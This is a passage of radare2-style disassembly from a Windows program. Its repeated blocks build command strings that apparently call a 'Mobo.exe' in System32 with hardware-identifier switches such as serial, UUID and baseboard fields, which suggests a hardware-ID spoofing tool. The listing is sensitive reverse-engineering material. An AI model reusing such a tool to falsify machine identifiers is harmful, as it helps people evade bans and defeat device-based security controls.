mov r8, qword [rsp + 0x9a0]
lea rdx, str.C:WindowsSystem32Mobo.exe__EBX
lea rcx, [rsp + 0xc6d0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x8a78]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x8a98]
call fcn.14005d9d0
mov qword [rsp + 0x9a8], rax
mov rax, qword [rsp + 0x9a8]
mov qword [rsp + 0x9b0], rax
mov r8, qword [rsp + 0x9b0]
lea rdx, str.C:WindowsSystem32Mobo.exe__EAX
lea rcx, [rsp + 0xc6b0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x8a98]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x8ab8]
call fcn.14005d9d0
mov qword [rsp + 0x9b8], rax
mov rax, qword [rsp + 0x9b8]
mov qword [rsp + 0x9c0], rax
mov r8, qword [rsp + 0x9c0]
lea rdx, str.C:WindowsSystem32Mobo.exe__GAN
lea rcx, [rsp + 0xc690]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x8ab8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x8ad8]
call fcn.14005d9d0
mov qword [rsp + 0x9c8], rax
mov rax, qword [rsp + 0x9c8]
mov qword [rsp + 0x9d0], rax
mov r8, qword [rsp + 0x9d0]
lea rdx, str.C:WindowsSystem32Mobo.exe__PPIN
lea rcx, [rsp + 0xc670]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x8ad8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x8af8]
call fcn.14005d9d0
mov qword [rsp + 0x9d8], rax
mov rax, qword [rsp + 0x9d8]
mov qword [rsp + 0x9e0], rax
mov r8, qword [rsp + 0x9e0]
lea rdx, str.C:WindowsSystem32Mobo.exe__WMIC
lea rcx, [rsp + 0xc650]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x8af8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x8b18]
call fcn.14005d9d0
mov qword [rsp + 0x9e8], rax
mov rax, qword [rsp + 0x9e8]
mov qword [rsp + 0x9f0], rax
mov r8, qword [rsp + 0x9f0]
lea rdx, str.C:WindowsSystem32Mobo.exe__SS
lea rcx, [rsp + 0xc630]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x8b18]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x8b38]
call fcn.14005d9d0
mov qword [rsp + 0x9f8], rax
mov rax, qword [rsp + 0x9f8]
mov qword [rsp + 0xa00], rax
mov r8, qword [rsp + 0xa00]
lea rdx, str.C:WindowsSystem32Mobo.exe__BS
lea rcx, [rsp + 0xc610]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x8b38]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x8b58]
call fcn.14005d9d0
mov qword [rsp + 0xa08], rax
mov rax, qword [rsp + 0xa08]
mov qword [rsp + 0xa10], rax
mov r8, qword [rsp + 0xa10]
lea rdx, str.C:WindowsSystem32Mobo.exe__SV
lea rcx, [rsp + 0xc5f0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x8b58]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x8b78]
call fcn.14005d9d0
mov qword [rsp + 0xa18], rax
mov rax, qword [rsp + 0xa18]
mov qword [rsp + 0xa20], rax
mov r8, qword [rsp + 0xa20]
lea rdx, str.C:WindowsSystem32Mobo.exe__BV
lea rcx, [rsp + 0xc5d0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x8b78]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x8b98]
call fcn.14005d9d0
mov qword [rsp + 0xa28], rax
mov rax, qword [rsp + 0xa28]
mov qword [rsp + 0xa30], rax
mov r8, qword [rsp + 0xa30]
lea rdx, str.C:WindowsSystem32Mobo.exe__BS
lea rcx, [rsp + 0xc5b0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x8b98]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x8bb8]
call fcn.14005d9d0
mov qword [rsp + 0xa38], rax
mov rax, qword [rsp + 0xa38]
mov qword [rsp + 0xa40], rax
mov r8, qword [rsp + 0xa40]
lea rdx, str.C:WindowsSystem32Mobo.exe__CS
lea rcx, [rsp + 0xc590]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x8bb8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x8bd8]
call fcn.14005d9d0
mov qword [rsp + 0xa48], rax
mov rax, qword [rsp + 0xa48]
mov qword [rsp + 0xa50], rax
mov r8, qword [rsp + 0xa50]
lea rdx, str.C:WindowsSystem32Mobo.exe__PSN
lea rcx, [rsp + 0xc570]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x8bd8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x8bf8]
call fcn.14005d9d0
mov qword [rsp + 0xa58], rax
mov rax, qword [rsp + 0xa58]
mov qword [rsp + 0xa60], rax
mov r8, qword [rsp + 0xa60]
lea rdx, str.C:WindowsSystem32Mobo.exe__PAT
lea rcx, [rsp + 0xc530]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x8bf8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x8c18]
call fcn.14005d9d0
mov qword [rsp + 0xa68], rax
mov rax, qword [rsp + 0xa68]
mov qword [rsp + 0xa70], rax
mov r8, qword [rsp + 0xa70]
lea rdx, str.C:WindowsSystem32Mobo.exe__PPN
lea rcx, [rsp + 0xc510]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x8c18]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x8c38]
call fcn.14005d9d0
mov qword [rsp + 0xa78], rax
mov rax, qword [rsp + 0xa78]
mov qword [rsp + 0xa80], rax
mov r8, qword [rsp + 0xa80]
lea rdx, str.C:WindowsSystem32Mobo.exe__IV
lea rcx, [rsp + 0xc4f0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x8c38]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x8c58]
call fcn.14005d9d0
mov qword [rsp + 0xa88], rax
mov rax, qword [rsp + 0xa88]
mov qword [rsp + 0xa90], rax
mov r8, qword [rsp + 0xa90]
lea rdx, str.C:WindowsSystem32Mobo.exe__SM
lea rcx, [rsp + 0xc4d0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x8c58]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x8c78]
call fcn.14005d9d0
mov qword [rsp + 0xa98], rax
mov rax, qword [rsp + 0xa98]
mov qword [rsp + 0xaa0], rax
mov r8, qword [rsp + 0xaa0]
lea rdx, str.C:WindowsSystem32Mobo.exe__SP
lea rcx, [rsp + 0xc4b0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x8c78]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x8c98]
call fcn.14005d9d0
mov qword [rsp + 0xaa8], rax
mov rax, qword [rsp + 0xaa8]
mov qword [rsp + 0xab0], rax
mov r8, qword [rsp + 0xab0]
lea rdx, str.C:WindowsSystem32Mobo.exe__SF
lea rcx, [rsp + 0xc490]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x8c98]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x8cb8]
call fcn.14005d9d0
mov qword [rsp + 0xab8], rax
mov rax, qword [rsp + 0xab8]
mov qword [rsp + 0xac0], rax
mov r8, qword [rsp + 0xac0]
lea rdx, str.C:WindowsSystem32Mobo.exe__BM
lea rcx, [rsp + 0xc470]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x8cb8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x8cd8]
call fcn.14005d9d0
mov qword [rsp + 0xac8], rax
mov rax, qword [rsp + 0xac8]
mov qword [rsp + 0xad0], rax
mov r8, qword [rsp + 0xad0]
lea rdx, str.C:WindowsSystem32Mobo.exe__BP
lea rcx, [rsp + 0xc450]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x8cd8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x8cf8]
call fcn.14005d9d0
mov qword [rsp + 0xad8], rax
mov rax, qword [rsp + 0xad8]
mov qword [rsp + 0xae0], rax
mov r8, qword [rsp + 0xae0]
lea rdx, str.C:WindowsSystem32Mobo.exe__BT
lea rcx, [rsp + 0xc430]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x8cf8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x8d18]
call fcn.14005d9d0
mov qword [rsp + 0xae8], rax
mov rax, qword [rsp + 0xae8]
mov qword [rsp + 0xaf0], rax
mov r8, qword [rsp + 0xaf0]
lea rdx, str.C:WindowsSystem32Mobo.exe__BLC
lea rcx, [rsp + 0xc410]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x8d18]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x8d38]
call fcn.14005d9d0
mov qword [rsp + 0xaf8], rax
mov rax, qword [rsp + 0xaf8]
mov qword [rsp + 0xb00], rax
mov r8, qword [rsp + 0xb00]
lea rdx, str.C:WindowsSystem32Mobo.exe__CM
lea rcx, [rsp + 0xc3f0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x8d38]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x8d58]
call fcn.14005d9d0
mov qword [rsp + 0xb08], rax
mov rax, qword [rsp + 0xb08]
mov qword [rsp + 0xb10], rax
mov r8, qword [rsp + 0xb10]
lea rdx, str.C:WindowsSystem32Mobo.exe__CT
lea rcx, [rsp + 0xc3d0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x8d58]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x8d78]
call fcn.14005d9d0
mov qword [rsp + 0xb18], rax
mov rax, qword [rsp + 0xb18]
mov qword [rsp + 0xb20], rax
mov r8, qword [rsp + 0xb20]
lea rdx, str.C:WindowsSystem32Mobo.exe__CV
lea rcx, [rsp + 0xc3b0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x8d78]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x8d98]
call fcn.14005d9d0
mov qword [rsp + 0xb28], rax
mov rax, qword [rsp + 0xb28]
mov qword [rsp + 0xb30], rax
mov r8, qword [rsp + 0xb30]
lea rdx, str.C:WindowsSystem32Mobo.exe__CA
lea rcx, [rsp + 0xc390]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x8d98]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x8db8]
call fcn.14005d9d0
mov qword [rsp + 0xb38], rax
mov rax, qword [rsp + 0xb38]
mov qword [rsp + 0xb40], rax
mov r8, qword [rsp + 0xb40]
lea rdx, str.C:WindowsSystem32Mobo.exe__CO
lea rcx, [rsp + 0xc370]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x8db8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x8dd8]
call fcn.14005d9d0
mov qword [rsp + 0xb48], rax
mov rax, qword [rsp + 0xb48]
mov qword [rsp + 0xb50], rax
mov r8, qword [rsp + 0xb50]
lea rdx, str.C:WindowsSystem32Mobo.exe__CSK
lea rcx, [rsp + 0xc350]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x8dd8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x8df8]
call fcn.14005d9d0
mov qword [rsp + 0xb58], rax
mov rax, qword [rsp + 0xb58]
mov qword [rsp + 0xb60], rax
mov r8, qword [rsp + 0xb60]
lea rdx, str.C:WindowsSystem32Mobo.exe__SK
lea rcx, [rsp + 0xc330]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x8df8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x8e18]
call fcn.14005d9d0
mov qword [rsp + 0xb68], rax
mov rax, qword [rsp + 0xb68]
mov qword [rsp + 0xb70], rax
mov r8, qword [rsp + 0xb70]
lea rdx, str.C:WindowsSystem32Mobo.exe__SU_auto
lea rcx, [rsp + 0xc310]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x8e18]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x8e38]
call fcn.14005d9d0
mov qword [rsp + 0xb78], rax
mov rax, qword [rsp + 0xb78]
mov qword [rsp + 0xb80], rax
mov r8, qword [rsp + 0xb80]
lea rdx, str.C:WindowsSystem32Mobo.exe__BMH
lea rcx, [rsp + 0xc2f0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x8e38]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x8e58]
call fcn.14005d9d0
mov qword [rsp + 0xb88], rax
mov rax, qword [rsp + 0xb88]
mov qword [rsp + 0xb90], rax
mov r8, qword [rsp + 0xb90]
lea rdx, str.C:WindowsSystem32Mobo.exe__BPH
lea rcx, [rsp + 0xc2d0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x8e58]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x8e78]
call fcn.14005d9d0
mov qword [rsp + 0xb98], rax
mov rax, qword [rsp + 0xb98]
mov qword [rsp + 0xba0], rax
mov r8, qword [rsp + 0xba0]
lea rdx, str.C:WindowsSystem32Mobo.exe__BVH
lea rcx, [rsp + 0xc2b0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x8e78]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x8e98]
call fcn.14005d9d0
mov qword [rsp + 0xba8], rax
mov rax, qword [rsp + 0xba8]
mov qword [rsp + 0xbb0], rax
mov r8, qword [rsp + 0xbb0]
lea rdx, str.C:WindowsSystem32Mobo.exe__BSH
lea rcx, [rsp + 0xc290]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x8e98]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x8eb8]
call fcn.14005d9d0
mov qword [rsp + 0xbb8], rax
mov rax, qword [rsp + 0xbb8]
mov qword [rsp + 0xbc0], rax
mov r8, qword [rsp + 0xbc0]
lea rdx, str.C:WindowsSystem32Mobo.exe__BTH
lea rcx, [rsp + 0xc250]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x8eb8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x8ed8]
call fcn.14005d9d0
mov qword [rsp + 0xbc8], rax
mov rax, qword [rsp + 0xbc8]
mov qword [rsp + 0xbd0], rax
mov r8, qword [rsp + 0xbd0]
lea rdx, str.C:WindowsSystem32Mobo.exe__BLCH
lea rcx, [rsp + 0xc230]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x8ed8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x8ef8]
call fcn.14005d9d0
mov qword [rsp + 0xbd8], rax
mov rax, qword [rsp + 0xbd8]
mov qword [rsp + 0xbe0], rax
mov r8, qword [rsp + 0xbe0]
lea rdx, str.C:WindowsSystem32Mobo.exe__IVN
lea rcx, [rsp + 0xc210]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x8ef8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x8f18]
call fcn.14005d9d0
mov qword [rsp + 0xbe8], rax
mov rax, qword [rsp + 0xbe8]
mov qword [rsp + 0xbf0], rax
mov r8, qword [rsp + 0xbf0]
lea rdx, str.C:WindowsSystem32Mobo.exe__ID
lea rcx, [rsp + 0xc1f0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x8f18]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x8f38]
call fcn.14005d9d0
mov qword [rsp + 0xbf8], rax
mov rax, qword [rsp + 0xbf8]
mov qword [rsp + 0xc00], rax
mov r8, qword [rsp + 0xc00]
lea rdx, str.C:WindowsSystem32Mobo.exe__CH
lea rcx, [rsp + 0xc1d0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x8f38]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x8f58]
call fcn.14005d9d0
mov qword [rsp + 0xc08], rax
mov rax, qword [rsp + 0xc08]
mov qword [rsp + 0xc10], rax
mov r8, qword [rsp + 0xc10]
lea rdx, str.C:WindowsSystem32Mobo.exe__CPC
lea rcx, [rsp + 0xc1b0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x8f58]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x8f78]
call fcn.14005d9d0
mov qword [rsp + 0xc18], rax
mov rax, qword [rsp + 0xc18]
mov qword [rsp + 0xc20], rax
mov r8, qword [rsp + 0xc20]
lea rdx, str.C:WindowsSystem32Mobo.exe__CMH
lea rcx, [rsp + 0xc190]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x8f78]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x8f98]
call fcn.14005d9d0
mov qword [rsp + 0xc28], rax
mov rax, qword [rsp + 0xc28]
mov qword [rsp + 0xc30], rax
mov r8, qword [rsp + 0xc30]
lea rdx, str.C:WindowsSystem32Mobo.exe__CTH
lea rcx, [rsp + 0xae70]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x8f98]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x8fb8]
call fcn.14005d9d0
mov qword [rsp + 0xc38], rax
mov rax, qword [rsp + 0xc38]
mov qword [rsp + 0xc40], rax
mov r8, qword [rsp + 0xc40]
lea rdx, str.C:WindowsSystem32Mobo.exe__CVH
lea rcx, [rsp + 0xae50]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x8fb8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x8fd8]
call fcn.14005d9d0
mov qword [rsp + 0xc48], rax
mov rax, qword [rsp + 0xc48]
mov qword [rsp + 0xc50], rax
mov r8, qword [rsp + 0xc50]
lea rdx, str.C:WindowsSystem32Mobo.exe__CSH
lea rcx, [rsp + 0xae30]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x8fd8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x8ff8]
call fcn.14005d9d0
mov qword [rsp + 0xc58], rax
mov rax, qword [rsp + 0xc58]
mov qword [rsp + 0xc60], rax
mov r8, qword [rsp + 0xc60]
lea rdx, str.C:WindowsSystem32Mobo.exe__CAH
lea rcx, [rsp + 0xae10]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x8ff8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9018]
call fcn.14005d9d0
mov qword [rsp + 0xc68], rax
mov rax, qword [rsp + 0xc68]
mov qword [rsp + 0xc70], rax
mov r8, qword [rsp + 0xc70]
lea rdx, str.C:WindowsSystem32Mobo.exe__COH
lea rcx, [rsp + 0xadf0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9018]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9038]
call fcn.14005d9d0
mov qword [rsp + 0xc78], rax
mov rax, qword [rsp + 0xc78]
mov qword [rsp + 0xc80], rax
mov r8, qword [rsp + 0xc80]
lea rdx, str.C:WindowsSystem32Mobo.exe__CHH
lea rcx, [rsp + 0xadd0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9038]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9058]
call fcn.14005d9d0
mov qword [rsp + 0xc88], rax
mov rax, qword [rsp + 0xc88]
mov qword [rsp + 0xc90], rax
mov r8, qword [rsp + 0xc90]
lea rdx, str.C:WindowsSystem32Mobo.exe__CPCH
lea rcx, [rsp + 0xadb0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9058]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9078]
call fcn.14005d9d0
mov qword [rsp + 0xc98], rax
mov rax, qword [rsp + 0xc98]
mov qword [rsp + 0xca0], rax
mov r8, qword [rsp + 0xca0]
lea rdx, str.C:WindowsSystem32Mobo.exe__CSKH
lea rcx, [rsp + 0xad90]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9078]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9098]
call fcn.14005d9d0
mov qword [rsp + 0xca8], rax
mov rax, qword [rsp + 0xca8]
mov qword [rsp + 0xcb0], rax
mov r8, qword [rsp + 0xcb0]
lea rdx, str.C:WindowsSystem32Mobo.exe__SU
lea rcx, [rsp + 0xa6b0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9098]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x90b8]
call fcn.14005d9d0
mov qword [rsp + 0xcb8], rax
mov rax, qword [rsp + 0xcb8]
mov qword [rsp + 0xcc0], rax
mov r8, qword [rsp + 0xcc0]
lea rdx, str.C:WindowsSystem32Mobo.exe__ALL
lea rcx, [rsp + 0xa690]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x90b8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x90d8]
call fcn.14005d9d0
mov qword [rsp + 0xcc8], rax
mov rax, qword [rsp + 0xcc8]
mov qword [rsp + 0xcd0], rax
mov r8, qword [rsp + 0xcd0]
lea rdx, str.C:WindowsSystem32Mo.exe__SS
lea rcx, [rsp + 0xa670]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x90d8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x90f8]
call fcn.14005d9d0
mov qword [rsp + 0xcd8], rax
mov rax, qword [rsp + 0xcd8]
mov qword [rsp + 0xce0], rax
mov r8, qword [rsp + 0xce0]
lea rdx, str.C:WindowsSystem32Mobo.exe__BS
lea rcx, [rsp + 0xa650]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x90f8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9118]
call fcn.14005d9d0
mov qword [rsp + 0xce8], rax
mov rax, qword [rsp + 0xce8]
mov qword [rsp + 0xcf0], rax
mov r8, qword [rsp + 0xcf0]
lea rdx, str.C:WindowsSystem32Mobo.exe__SV
lea rcx, [rsp + 0xc930]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9118]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9138]
call fcn.14005d9d0
mov qword [rsp + 0xcf8], rax
mov rax, qword [rsp + 0xcf8]
mov qword [rsp + 0xd00], rax
mov r8, qword [rsp + 0xd00]
lea rdx, str.C:WindowsSystem32Mobo.exe__BV
lea rcx, [rsp + 0xa310]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9138]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9158]
call fcn.14005d9d0
mov qword [rsp + 0xd08], rax
mov rax, qword [rsp + 0xd08]
mov qword [rsp + 0xd10], rax
mov r8, qword [rsp + 0xd10]
lea rdx, str.C:WindowsSystem32Mobo.exe__CS
lea rcx, [rsp + 0xc550]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9158]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9178]
call fcn.14005d9d0
mov qword [rsp + 0xd18], rax
mov rax, qword [rsp + 0xd18]
mov qword [rsp + 0xd20], rax
mov r8, qword [rsp + 0xd20]
lea rdx, str.C:WindowsSystem32Mobo.exe__PSN
lea rcx, [rsp + 0xe970]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9178]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9198]
call fcn.14005d9d0
mov qword [rsp + 0xd28], rax
mov rax, qword [rsp + 0xd28]
mov qword [rsp + 0xd30], rax
mov r8, qword [rsp + 0xd30]
lea rdx, str.C:WindowsSystem32Mobo.exe__PAT
lea rcx, [rsp + 0xe950]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9198]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x91b8]
call fcn.14005d9d0
mov qword [rsp + 0xd38], rax
mov rax, qword [rsp + 0xd38]
mov qword [rsp + 0xd40], rax
mov r8, qword [rsp + 0xd40]
lea rdx, str.C:WindowsSystem32Mobo.exe__PPN
lea rcx, [rsp + 0xe930]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x91b8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x91d8]
call fcn.14005d9d0
mov qword [rsp + 0xd48], rax
mov rax, qword [rsp + 0xd48]
mov qword [rsp + 0xd50], rax
mov r8, qword [rsp + 0xd50]
lea rdx, str.C:WindowsSystem32Mobo.exe__IV
lea rcx, [rsp + 0xe910]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x91d8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x91f8]
call fcn.14005d9d0
mov qword [rsp + 0xd58], rax
mov rax, qword [rsp + 0xd58]
mov qword [rsp + 0xd60], rax
mov r8, qword [rsp + 0xd60]
lea rdx, str.C:WindowsSystem32Mobo.exe__SM
lea rcx, [rsp + 0xe8f0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x91f8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9218]
call fcn.14005d9d0
mov qword [rsp + 0xd68], rax
mov rax, qword [rsp + 0xd68]
mov qword [rsp + 0xd70], rax
mov r8, qword [rsp + 0xd70]
lea rdx, str.C:WindowsSystem32Mobo.exe__SP
lea rcx, [rsp + 0xe8d0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9218]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9238]
call fcn.14005d9d0
mov qword [rsp + 0xd78], rax
mov rax, qword [rsp + 0xd78]
mov qword [rsp + 0xd80], rax
mov r8, qword [rsp + 0xd80]
lea rdx, str.C:WindowsSystem32Mobo.exe__SF
lea rcx, [rsp + 0xe8b0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9238]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9258]
call fcn.14005d9d0
mov qword [rsp + 0xd88], rax
mov rax, qword [rsp + 0xd88]
mov qword [rsp + 0xd90], rax
mov r8, qword [rsp + 0xd90]
lea rdx, str.C:WindowsSystem32Mobo.exe__BM
lea rcx, [rsp + 0xe890]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9258]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9278]
call fcn.14005d9d0
mov qword [rsp + 0xd98], rax
mov rax, qword [rsp + 0xd98]
mov qword [rsp + 0xda0], rax
mov r8, qword [rsp + 0xda0]
lea rdx, str.C:WindowsSystem32Mobo.exe__BP
lea rcx, [rsp + 0xe870]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9278]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9298]
call fcn.14005d9d0
mov qword [rsp + 0xda8], rax
mov rax, qword [rsp + 0xda8]
mov qword [rsp + 0xdb0], rax
mov r8, qword [rsp + 0xdb0]
lea rdx, str.C:WindowsSystem32Mobo.exe__BT
lea rcx, [rsp + 0xe850]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9298]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x92b8]
call fcn.14005d9d0
mov qword [rsp + 0xdb8], rax
mov rax, qword [rsp + 0xdb8]
mov qword [rsp + 0xdc0], rax
mov r8, qword [rsp + 0xdc0]
lea rdx, str.C:WindowsSystem32Mobo.exe__BLC
lea rcx, [rsp + 0xe830]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x92b8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x92d8]
call fcn.14005d9d0
mov qword [rsp + 0xdc8], rax
mov rax, qword [rsp + 0xdc8]
mov qword [rsp + 0xdd0], rax
mov r8, qword [rsp + 0xdd0]
lea rdx, str.C:WindowsSystem32Mobo.exe__CM
lea rcx, [rsp + 0xe810]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x92d8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x92f8]
call fcn.14005d9d0
mov qword [rsp + 0xdd8], rax
mov rax, qword [rsp + 0xdd8]
mov qword [rsp + 0xde0], rax
mov r8, qword [rsp + 0xde0]
lea rdx, str.C:WindowsSystem32Mobo.exe__CT
lea rcx, [rsp + 0xe7f0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x92f8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9318]
call fcn.14005d9d0
mov qword [rsp + 0xde8], rax
mov rax, qword [rsp + 0xde8]
mov qword [rsp + 0xdf0], rax
mov r8, qword [rsp + 0xdf0]
lea rdx, str.C:WindowsSystem32Mobo.exe__CV
lea rcx, [rsp + 0xe7d0]
